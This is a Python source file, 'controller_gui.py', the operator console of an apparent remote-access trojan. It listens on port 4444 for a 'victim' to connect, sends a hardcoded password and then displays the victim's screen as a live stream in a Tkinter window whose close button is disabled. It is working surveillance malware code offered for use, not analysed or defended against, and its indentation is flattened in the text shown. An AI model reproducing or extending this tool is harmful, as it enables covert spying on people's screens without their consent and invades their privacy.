# controller_gui.py - Full GUI with target screen only (no extra buttons)
# Run on your PC after victim connects
import socket
import struct
import threading
import tkinter as tk
from PIL import Image, ImageTk
import io
import sys
# ===== CONFIG =====
TARGET_IP = "0.0.0.0" # Listen on all interfaces (victim connects to YOU)
TARGET_PORT = 4444
PASSWORD = "abobanecheat456"
# ===== GLOBALS =====
sock = None
root = None
label = None
status_label = None
screen_width = 1024
screen_height = 768
# ===== LISTENER =====
def start_listener():
global sock
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((TARGET_IP, TARGET_PORT))
server.listen(1)
root.after(0, lambda: status_label.config(text="Waiting for victim...", fg="yellow"))
conn, addr = server.accept()
sock = conn
root.after(0, lambda: status_label.config(text=f"Connected from {addr[0]}", fg="green"))
# Authenticate
try:
data = sock.recv(1024)
if b"PASS_REQ" in data:
sock.send(PASSWORD.encode())
resp = sock.recv(1024).decode()
if resp == "AUTH_OK":
root.after(0, lambda: status_label.config(text="[AUTH OK] Streaming...", fg="lime"))
# Start receiving screen
threading.Thread(target=receive_screen, daemon=True).start()
else:
root.after(0, lambda: status_label.config(text="Auth failed", fg="red"))
sock.close()
except:
root.after(0, lambda: status_label.config(text="Connection error", fg="red"))
sock.close()
# ===== RECEIVE SCREEN STREAM =====
def receive_screen():
global sock, label
while True:
try:
size_data = sock.recv(4)
if len(size_data) < 4:
break
size = struct.unpack(">I", size_data)[0]
data = b""
while len(data) < size:
chunk = sock.recv(min(4096, size - len(data)))
if not chunk:
break
data += chunk
if len(data) < size:
break
img = Image.open(io.BytesIO(data))
# Resize to fit window while keeping aspect
img.thumbnail((root.winfo_width()-20, root.winfo_height()-60))
imgtk = ImageTk.PhotoImage(image=img)
label.config(image=imgtk)
label.image = imgtk
except:
break
root.after(0, lambda: status_label.config(text="[DISCONNECTED]", fg="red"))
# ===== BUILD GUI =====
def build_gui():
global root, label, status_label
root = tk.Tk()
root.title("Target Screen - Controller")
root.geometry("1024x768")
root.configure(bg="#111")
root.minsize(400, 300)
# Status bar
status_label = tk.Label(root, text="Initializing...", fg="white", bg="#222", font=("Consolas", 10))
status_label.pack(side=tk.BOTTOM, fill=tk.X)
# Main screen label (image holder)
label = tk.Label(root, bg="#111")
label.pack(fill=tk.BOTH, expand=True)
# Prevent closing via X (only allow forced kill from cmd)
root.protocol("WM_DELETE_WINDOW", lambda: None)
# Start listener in background
threading.Thread(target=start_listener, daemon=True).start()
root.mainloop()
# ===== MAIN =====
if __name__ == "__main__":
build_gui()